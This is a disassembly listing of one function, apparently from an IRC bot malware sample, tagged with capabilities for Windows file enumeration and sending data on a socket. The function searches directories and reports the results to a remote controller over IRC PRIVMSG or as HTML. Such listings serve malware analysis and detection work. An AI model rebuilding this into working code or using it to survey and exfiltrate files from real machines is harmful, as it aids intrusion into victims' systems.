Function at 0x4039fc
Capabilities:
Enumerate files on windows
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x350
push ebx
push esi
push edi
mov ebx, dword [ebp + 0x10]
mov esi, dword [ebp + 0x14]
push 0x104
push 0
lea eax, [ebp - 0x350]
push eax
call sub.CRTDLL.DLL_memset
and dword [ebp - 0x248], 0
and dword [ebp - 0x24c], 0
push 0x4137b2
push dword [ebp + 8]
call sub.CRTDLL.DLL_strtok
add esp, 0x14
or ebx, ebx
je 0x403a5d
push dword [ebp + 8]
push ebx
push str.PRIVMSG__s_:Searsing_for:__s_r_n
lea eax, [ebp - 0x244]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
jmp 0x403a8e
or esi, esi
je 0x403a77
push str._HTML__PRE__n
lea eax, [ebp - 0x244]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 8
jmp 0x403a8e
push dword [ebp + 8]
push str.Searsing_for:__s_r_n
lea eax, [ebp - 0x244]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0xc
lea ecx, [ebp - 0x244]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x403a97
push 0
push eax
lea edx, [ebp - 0x244]
push edx
push dword [ebp + 0xc]
call sub.wsock32.dll_send
cmp esi, 0
je 0x403b32
lea ecx, [esi]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x403aba
cmp eax, 2
jbe 0x403b32
lea ecx, [esi]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x403acb
mov edi, eax
sub edi, 3
jmp 0x403ae0
cmp byte [esi + edi], 0x2f
je 0x403ae4
dec edi
or edi, edi
jne 0x403ad9
mov eax, edi
inc eax
push eax
push esi
lea eax, [ebp - 0x350]
push eax
call sub.CRTDLL.DLL_strncpy
lea eax, [ebp - 0x350]
push eax
push str._li__A_href__s__Parent_Directory__A___li__r_n
lea eax, [ebp - 0x244]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x18
lea ecx, [ebp - 0x244]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x403b19
push 0
push eax
lea edx, [ebp - 0x244]
push edx
push dword [ebp + 0xc]
call sub.wsock32.dll_send
lea eax, [ebp - 0x140]
push eax
push dword [ebp + 8]
call sub.KERNEL32.DLL_FindFirstFileA
mov edi, eax
jmp 0x403cc0
cmp dword [ebp - 0x140], 0
je 0x403cc0
push 0x41346a
lea eax, [ebp - 0x114]
push eax
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x403cc0
push 0x413af4
lea edx, [ebp - 0x114]
push edx
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x403cc0
push 0x104
push 0
lea eax, [ebp - 0x244]
push eax
call sub.CRTDLL.DLL_memset
add esp, 0xc
test byte [ebp - 0x140], 0x10
je 0x403c20
inc dword [ebp - 0x24c]
or ebx, ebx
je 0x403bd7
lea eax, [ebp - 0x114]
push eax
push ebx
push str.PRIVMSG__s_:__s__r_n
lea eax, [ebp - 0x244]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
jmp 0x403c9e
or esi, esi
je 0x403c03
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x114]
push eax
push esi
push str._li__A_href__s_s____s__A___li___b__u__Directory___b___u__r_n
lea eax, [ebp - 0x244]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x14
jmp 0x403c9e
lea eax, [ebp - 0x114]
push eax
push str.__s__r_n
lea eax, [ebp - 0x244]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0xc
jmp 0x403c9e
inc dword [ebp - 0x248]
or ebx, ebx
je 0x403c4e
push dword [ebp - 0x120]
lea eax, [ebp - 0x114]
push eax
push ebx
push str.PRIVMSG__s_:_s___i_bytes__r_n
lea eax, [ebp - 0x244]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x14
jmp 0x403c9e
or esi, esi
je 0x403c7d
push dword [ebp - 0x120]
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x114]
push eax
push esi
push str._p__A_href__s_s___s__A____i_bytes__r_n
lea eax, [ebp - 0x244]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x18
jmp 0x403c9e
push dword [ebp - 0x120]
lea eax, [ebp - 0x114]
push eax
push str._s____i_bytes__r_n
lea eax, [ebp - 0x244]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
lea ecx, [ebp - 0x244]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x403ca7
push 0
push eax
lea edx, [ebp - 0x244]
push edx
push dword [ebp + 0xc]
call sub.wsock32.dll_send
lea eax, [ebp - 0x140]
push eax
push edi
call sub.KERNEL32.DLL_FindNextFileA
or eax, eax
jne 0x403b48
push edi
call sub.KERNEL32.DLL_FindClose
or ebx, ebx
je 0x403d02
push dword [ebp - 0x24c]
push dword [ebp - 0x248]
push ebx
push str.PRIVMSG__s_:Found__i_files_and__i_dirs_r_n
lea eax, [ebp - 0x244]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x14
jmp 0x403d3c
or esi, esi
je 0x403d1c
push str.__PRE___HTML_
lea eax, [ebp - 0x244]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 8
jmp 0x403d3c
push dword [ebp - 0x24c]
push dword [ebp - 0x248]
push str.Found:__i_files_and__i_dirs_r_n
lea eax, [ebp - 0x244]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
lea ecx, [ebp - 0x244]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x403d45
push 0
push eax
lea edi, [ebp - 0x244]
push edi
push dword [ebp + 0xc]
call sub.wsock32.dll_send
mov eax, 0
pop edi
pop esi
pop ebx
leave
ret